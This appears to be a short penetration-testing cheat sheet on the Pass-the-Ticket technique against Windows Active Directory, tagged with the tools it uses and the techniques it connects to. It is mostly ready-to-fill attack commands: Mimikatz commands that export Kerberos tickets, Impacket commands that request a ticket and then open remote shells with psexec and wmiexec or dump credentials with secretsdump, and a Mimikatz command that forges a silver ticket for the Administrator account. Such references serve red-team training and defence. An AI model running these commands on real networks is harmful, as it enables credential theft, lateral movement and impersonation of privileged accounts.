Pass-the-Ticket (PTT)

reference 8 commands 2 tools

needsKerberos ticketNT hash

yieldsNT hash

toolsmimikatzimpacket

Requires

Valid Kerberos ticket (TGT or TGS). Domain-joined machine or Kali with Kerberos configured.

Dump existing tickets (from Windows)

Mimikatz:

sekurlsa::tickets /export         # Dumps all tickets to files

kerberos::list /export

From Kali with impacket · request a ticket and use it

impacket-getTGT <DOMAIN>/<USER>:<PASS> -dc-ip <DC-IP>

Output: <USER>.ccache

export KRB5CCNAME=<USER>.ccache

impacket-psexec <DOMAIN>/<USER>@<TARGET-HOSTNAME> -k -no-pass

impacket-wmiexec <DOMAIN>/<USER>@<TARGET-HOSTNAME> -k -no-pass

impacket-secretsdump <DOMAIN>/<USER>@<TARGET-HOSTNAME> -k -no-pass

Silver ticket (forge TGS for specific service · needs service account hash)

Mimikatz:

kerberos::golden /domain:<DOMAIN> /sid:<DOMAIN-SID> /target:<SERVER-FQDN> \
  /service:cifs /rc4:<SERVICE-ACCOUNT-HASH> /user:Administrator /ptt

connected

leads to

follows

via mimikatz